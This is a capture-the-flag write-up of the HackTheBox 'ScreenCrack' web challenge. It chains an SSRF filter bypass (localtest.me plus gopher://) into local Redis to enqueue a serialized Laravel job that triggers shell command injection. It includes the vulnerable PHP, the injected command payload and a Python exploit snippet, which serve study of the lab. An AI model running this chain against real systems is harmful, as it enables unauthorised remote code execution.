ScreenCrack
HackTheBox
Task: a Laravel 10 screenshot/source-view service exposes SSRF in `/api/get-html` because localhost filtering only checks literal IPv4 hosts. Solution: use `localtest.me` plus `gopher://` to push a malicious Redis queue job and reach command injection in `rmFile`, then copy `/flag` into the web root.
$ ls tags/ techniques/
ScreenCrack — HackTheBox
Description
New screenshot service just dropped! They talk alot but can they hack it?
This challenge provides a Laravel 10 / PHP 8.1 service with two user-facing features: fetching page source and generating screenshots. The intended path is not the screenshot feature, but the HTML fetcher behind POST /api/get-html.
Challenge Summary
The application tried to prevent SSRF by rejecting literal localhost IPv4 hosts and by requiring a domain with DNS records. That check was incomplete: it never resolved the hostname and verified the resulting IP. Using localtest.me as a localhost alias let me reach local Redis via gopher://, enqueue a malicious Laravel job, and trigger command injection in App\Jobs\rmFile.
Recon
The relevant routes were:
GET /POST /api/get-htmlPOST /api/getss
Initial testing showed that POST /api/get-html successfully fetched normal remote content such as http://example.com, so this endpoint was a good SSRF candidate.
The screenshot path was a dead end. It relied on external screenshotmachine.com, so it was not the intended local attack surface.
I also briefly considered Laravel Ignition/debug-style issues, but that was unnecessary here.
Source Analysis
1. SSRF filter weakness in /api/get-html
The vulnerable logic was in validateUrl():
private function validateUrl($url) { $parsedUrl = parse_url($url); if (!isset($parsedUrl['host'])) return false; if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) { return false; } if (!$this->isValidDomain($parsedUrl['host'])) { return false; } return true; }
This only blocked a host if it was a literal IPv4 string and local. It did not resolve a hostname and then check whether the resolved address was loopback or private.
That made localtest.me perfect:
- it looks like a real domain,
- it has valid DNS records,
- it resolves to
127.0.0.1.
So a URL like gopher://localtest.me:6379/... passed validation and still hit localhost.
2. getHtmlResp() accepted gopher://
The HTML fetcher used cURL on an attacker-controlled URL, and gopher:// was accepted. That turned the SSRF into a raw TCP primitive suitable for speaking Redis.
3. Local Redis + Laravel queue worker
The application used a Redis-backed Laravel queue. The important queue key was:
laravel_database_queues:default
The queue payload format was verified from Laravel internals. The job object needed:
job = Illuminate\\Queue\\CallQueuedHandler@call- a serialized
App\Jobs\rmFileobject indata.command
4. Command injection sink
The final sink was:
public function deleteFile() { $filepath = $this->buildFilePath(); system("rm ".$filepath); } public function buildFilePath(): string { $filename = $this->uuid.".".$this->ext; if ($this->ext === "txt") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]); } return $this->filePath; }
Because buildFilePath() directly concatenated uuid and ext, a crafted object could inject shell metacharacters through uuid.
I used:
uuid = "x; cp /flag /www/public/flag.txt #" ext = "txt"
This produced an effective command like:
rm /www/public/src/x; cp /flag /www/public/flag.txt #.txt
The trailing # commented out the appended .txt.
Vulnerability Explanation
The full bug chain was:
/api/get-htmllet me supply an arbitrary URL.validateUrl()blocked only literal local IPv4 strings.localtest.meresolved to127.0.0.1, bypassing that check.- cURL accepted
gopher://, so SSRF could speak Redis. - Redis stored a malicious Laravel queue job.
- The worker processed
App\Jobs\rmFile. system("rm ".$filepath)gave command injection.- The command copied
/flaginto/www/public/flag.txt.
Redis / Queue Payload Concept
The Laravel queue payload was a JSON object like this:
{ "displayName": "App\\Jobs\\rmFile", "job": "Illuminate\\Queue\\CallQueuedHandler@call", "data": { "commandName": "App\\Jobs\\rmFile", "command": "O:15:\"App\\Jobs\\rmFile\":1:{...}" } }
The serialized command contained an App\Message\FileQueue object with the injected uuid value.
The Redis side was just an RPUSH into the queue key, encoded into a gopher:// URL:
RPUSH laravel_database_queues:default <job_json> QUIT
In Python, the core idea looked like:
resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") gopher_url = f"gopher://localtest.me:6379/_{quote(resp, safe='')}"
Important Debugging Insight: QUIT mattered
One subtle point caused a lot of confusion on the live target.
My first raw Redis gopher attempts looked like failures even though the payload itself was correct. The reason was that Redis kept the connection open, so /api/get-html did not behave as a clean success from the application's point of view.
Adding a RESP QUIT command fixed that. After appending QUIT, the endpoint returned success and the saved source file contained:
+PONG +OK
That was the proof that SSRF to Redis was real and working. Without QUIT, it was easy to wrongly assume that gopher or Redis access was blocked.
Exploit Chain
Step 1: confirm /api/get-html works
Sending POST /api/get-html with http://example.com succeeded, confirming the endpoint could fetch remote content.
Step 2: confirm Redis SSRF
I sent a gopher URL to localtest.me:6379 containing Redis PING followed by QUIT. The saved source file showed +PONG and +OK, confirming SSRF into local Redis.
Step 3: build the malicious Laravel job
The exploit script created a serialized App\Jobs\rmFile object whose nested FileQueue.uuid field contained:
x; cp /flag /www/public/flag.txt #
Step 4: enqueue it through Redis
The payload was wrapped in a Laravel queue JSON envelope and pushed to:
laravel_database_queues:default
using RPUSH over gopher://.
Step 5: wait for the worker
After a short wait, the Redis-backed worker picked up the job and executed the injected shell command.
Step 6: retrieve the flag
Once the command copied /flag into the public web root, I fetched:
/flag.txt
and got the flag.
Exploit Snippet
This is the key part of the working script:
def build_command_object(command: str) -> str: injected_uuid = f"x; {command} #" file_queue = php_object( "App\\Message\\FileQueue", [ ("filePath", php_null()), ("uuid", php_string(injected_uuid)), ("ext", php_string("txt")), ], ) return php_object("App\\Jobs\\rmFile", [("fileQueue", file_queue)]) def build_gopher_url(command: str): command_object = build_command_object(command) job_json = build_job_json(command_object) resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") return f"gopher://localtest.me:6379/_{urllib.parse.quote(resp, safe='')}"
What did not matter
/api/getsswas not the intended path.- Ignition probing was unnecessary.
- Raw Redis SSRF without RESP
QUITwas misleading and looked broken.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][Pro]Lab 95 — CloudCrate — SSRF in File Import Feature— hackadvisor
- [web][Pro]Звездный сейф (Star Safe)— hackerlab
- [web][free]DoxPit— hackthebox
- [network][free]security-breach-ruin— umdctf
- [web][Pro]Easy Upload— hackerlab